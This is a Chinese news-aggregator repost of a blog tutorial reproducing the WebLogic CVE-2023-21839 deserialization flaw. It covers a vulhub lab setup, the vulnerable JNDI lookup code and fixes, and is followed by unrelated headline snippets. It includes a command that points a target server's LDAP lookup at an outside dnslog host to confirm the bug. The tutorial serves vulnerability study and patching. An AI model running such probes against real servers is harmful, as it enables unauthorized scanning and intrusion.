首页>动态>正文
每日观察!Weblogic反序列化(CVE-2023-21839)漏洞复现
2023-06-04 06:34:10    来源:博客园
前言

序列化(Serialization):将对象的状态信息转换为可以存储或传输的形式的过程,一般将对象转换为字节流。序列化时,对象的当前状态被写入到临时或持久性存储区(文件、内存、数据库等)。

反序列化(Deserialization):从序列化的表示形式中提取数据,即把有序字节流恢复为对象的过程

反序列化攻击:攻击者控制了序列化后的数据,将有害数据传递到应用程序代码中,发动针对应用程序的攻击


(相关资料图)

Weblogic简介

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

漏洞详情

由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。

漏洞影响版本

Weblogic 12.2.1.3.0Weblogic 12.2.1.4.0Weblogic 14.1.1.0.0

环境搭建

在vulhub社区更新了此漏洞,直接拉取该环境即可

https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2023-21839

下载地址:https://github.com/vulhub/vulhubclone下载项目:git clone https://github.com/vulhub/vulhub.git
cd weblogic  //进入weblogic文件夹cd CVE-2023-21839  //进入CVE-2023-21839漏洞文件夹docker-compose up -d //开启漏洞环境,拉取镜像docker ps  //查看当前docker运行情况,可以看到该漏洞环境已经开启

访问http://your-ip:7001/console,可以看到登录界面

漏洞复现

漏洞解析:ForeignOpaqueReference是OpaqueReference接口的实现类。在ForeignOpaqueReference类中声明了两个私有变量:jndiEnvironment和remoteJNDIName,同时声明了两个构造方法,在有参构造方法中接收env和remoteJNDIName,并分别赋值给了上面的两个私有类变量。

ForeignOpaqueReference类的getReferent()方法是OpaqueReference接口的实现方法,在getReferent()方法中,retVal = context.lookup(this.remoteJNDIName); 对本类remoteJNDIName变量中的JNDI地址进行远程加载,导致了反序列化漏洞

package weblogic.jndi.internal;//进入反序列化public class ForeignOpaqueReference implements OpaqueReference, Serializable {                      private Hashtable jndiEnvironment;    private String remoteJNDIName;        ......    public ForeignOpaqueReference(String remoteJNDIName, Hashtable env) {        this.remoteJNDIName = remoteJNDIName;        this.jndiEnvironment = env;    }    public Object getReferent(Name name, Context ctx) throws NamingException {        InitialContext context;        if (this.jndiEnvironment == null) {            context = new InitialContext();        } else {            Hashtable properties = this.decrypt();            context = new InitialContext(properties);        }        Object retVal;        try {            retVal = context.lookup(this.remoteJNDIName);   // 漏洞点        } finally {            context.close();        }        return retVal;    }    ......}

getReferent()调用分析

package weblogic.jndi;public interface OpaqueReference {    Object getReferent(Name var1, Context var2) throws NamingException;    String toString();}

OpaqueReference 接口有两个抽象方法:getReferent() 和 toString();

ForeignOpaqueReference 类的 getReferent() 方法调用在WLNamingManager类中。

在 WLNamingManager 类的 getObjectInstance() 方法中,当传入的 boundObject 对象实现了 OpaqueReference 接口时,则会调用该对象的 getReferent() 方法,即 boundObject = ((OpaqueReference)boundObject).getReferent(name, ctx);。

正如上方提到的 ForeignOpaqueReference 类实现了 OpaqueReference 接口,因此会调用该类中的 getReferent() 方法,导致反序列化代码执行漏洞。

package weblogic.jndi.internal;public final class WLNamingManager {    public static Object getObjectInstance(Object boundObject, Name name, Context ctx, Hashtable env) throws NamingException {        if (boundObject instanceof ClassTypeOpaqueReference) {                        ......        } else if (boundObject instanceof OpaqueReference) {            boundObject = ((OpaqueReference)boundObject).getReferent(name, ctx);        } else if (boundObject instanceof LinkRef) {      ...        }    }}

CVE-2023-21839是在反序列化过程中没有进行恶意操作,在完成反序列化过程后执行了漏洞类ForeignOpaqueReference中getReferent()方法中的lookup()才触发的漏洞。其中,Context的lookup方法是用来查找指定名称的对象的,它接受一个字符串参数,返回一个Object对象,如果没有找到指定名称的对象,则返回null,我们则利用此点触发反序列化漏洞。

这里我直接使用dnslog进行测试

下载漏洞检测工具用于测试是否存在该漏洞https://github.com/4ra1n/CVE-2023-21839使用官方提供的工具需要使用go语言编译cd cmdgo build -o CVE-2023-21839.exe
使用dnslog检测CVE-2023-21839.exe -ip 192.168.31.230 -port 7001 -ldap ldap://2qdt3z.dnslog.cn

至此,dnslog有回显证明漏洞存在

修复方式

1.下载最新补丁,链接:https://support.oracle.com/rs?type=doc&id=2917213.22.限制T3协议访问

关键词:

每日观察!Weblogic反序列化(CVE-2023-21839)漏洞复现

**前言**序列化(Serialization):将对象的状态信息转换为可以存储2023-06-04

过期的咖啡粉能不能喝(咖啡粉过期还能喝)-天天百事通

大家好,小乐来为大家解答以上的问题。过期的咖啡粉能不能喝,咖啡粉过2023-06-04

新疆大学野生动植物保护协会_关于新疆大学野生动植物保护协会简介-全球聚看点

1、新疆大学野生动植物保护协会是响应共青团中央号召,应自治区野生动2023-06-04

天天亮点!河南电视剧频道最近热播剧是什么(河南电视剧频道最近热播剧)

1、白天全天:鹿鼎记;晚上:燃烧的玫瑰。本文到此分享完毕,希望对大家有2023-06-04

重点聚焦!关闭屏幕录制仍然出现小白点OPPOA96(关闭屏幕录制仍然出现小白点)

想必现在有很多于关闭屏幕录制仍然出现小白点方面的知识都比较想要了解2023-06-03

青少年必读的十本书有哪些?要有教育意义,青春励志的! 全球今头条

1.《爱的教育》作者:[意大利]德.亚米契斯  这是一部以小学生为主2023-06-03

夜骑模拟器什么时候出 公测上线时间预告|快看点

导读:最近很多玩家都在关注夜骑模拟器这款手游,想知道具体的公测时间2023-06-03

环球视讯!为什么手机连上wifi却上不了网怎么办_为什么手机连上wifi却上不了网

1、您好,wifi信号不论是否有网络手机等设备均可以进行连接的,用户连2023-06-03

涉案金额200余万元,遵义公安端掉一“跑分”洗钱团伙

办几张银行卡​不用花一分钱刷刷流水帮他人提取现金就能轻松赚钱警惕这2023-06-03

中国空间站多项太空实验有序展开 首次实现人类干细胞太空早期造血 焦点信息

央视网消息:人多能干细胞因其具有无限增殖潜能,以及可分化为人体内几乎所有的细胞类型能力,是用于再生医2023-06-03

CBA广东男篮喜从天降,杜锋爱徒遭篮协重用,阿联该安心当教练了 时快讯

CBA广东男篮喜从天降,杜锋爱徒遭篮协重用,阿联该安心当教练了,杜锋,篮协,阿联,易建联,cba,广东男篮,中国2023-06-03

约基奇:我不需要得分就能影响比赛,我今天打得很好|当前时讯

总决赛今日开打,掘金主场104-93轻取热火,总分1比0。约基奇总决赛处子秀12投8中,12罚10中拿到27分10个篮2023-06-03

当前视讯!贵州省安顺市2023-06-02 18:25发布雷雨强风黄色预警

音频解说一、贵州省安顺市天气预报1、安顺市气象台6月2日18时25分发布雷雨强风黄色预警信号。2、预计未来32023-06-03

焦点速看:Angelebaby翻译成中文是什么_Baby在跑男上就已给出了标准答案!

1、在娱乐圈,很多明星会选择一个好的艺名,而不是用真名。比如成龙原名方世龙,刘诗诗原名刘诗诗。为了让2023-06-03

萨巴伦卡拒绝出席赛后新闻发布会,会步大坂直美法网后尘?

这件事发生之后,也让萨巴伦卡非常烦恼,因为从来到法网之后,连续两场比赛都同俄乌事件牵扯在了一起,按照2023-06-03

环球微资讯!湖南华容属于哪个地区(湖南华容属于哪个市)

来为大家解答以上问题。湖南华容属于哪个地区,湖南华容属于哪个市这个很多人还不清楚,现在一起跟着来瞧瞧2023-06-03

世界微头条丨小说摘抄惊艳的句子_小说摘抄

1、《海底两万里》是一部科幻小说,于一八七0年问世,暨今已逾百年,而仍能以多种文字的各种版本风行世界,2023-06-03

周幺姑芹菜炒牛肉家常做法?

用料牛里脊200克芹菜300克鸡蛋1个蒜3-5个红尖椒适量红油豆瓣酱10毫升老抽15毫升料酒8毫升红薯淀粉15克白胡2023-06-03

百家姓的排名顺序的依据_百家姓的排名顺序-每日时讯

1、百家姓的排名顺序:赵钱孙李周吴郑王冯陈诸卫蒋沈韩杨朱秦尤许何吕施张孔曹严华金魏陶姜戚谢2023-06-03

当前头条:【原】农村俗语:“忙有三不帮,饭有三不吃”,指的是什么?有道理吗?

农村的一些老话是古人智慧的结晶,对于我们后人,在生活当中有一定的指导意义,能让我们更好的生活。在2023-06-03

云母屏风烛影深长河渐落星沉的意思_云母屏风烛影深长河渐落晓星沉是什么意思

1、李商隐云母屏风烛影深,长河渐落晓星沉。2、嫦娥应悔偷灵药,碧海青天夜夜心。3、注:嫦娥:神话传说中2023-06-03

环球新消息丨泰安网吧开门了吗_泰安网吧

1、岱北市场西门有整条街都有,岱秒庙北门泰安市网吧`````小网吧有万通,金城可进。2、不要身份证的!!。本2023-06-03

需求释放促成华住亮眼业绩 精益增长拓宽发展路径 世界视点

在酒旅行业重新步入发展“快车道”的大背景下,华住集团也在精益增长的核心战略指引下实现了高质量发展。202023-06-03

当前时讯:一枝红杏出墙来全诗图_一枝红杏出墙来

1、 "一枝红杏出墙来 "上一句是:春色满园关不住【原文】 "春色满园关不住,一枝红杏出墙来 "。2、出自宋代2023-06-03

「关注」失业保险基金管理问题专项整治工作领导小组第二次会议暨工作推进会召开

本报北京讯(记者任社宣)5月31日下午,人社部召开失业保险基金管理问题专项整治工作领导小组第二次会议暨2023-06-03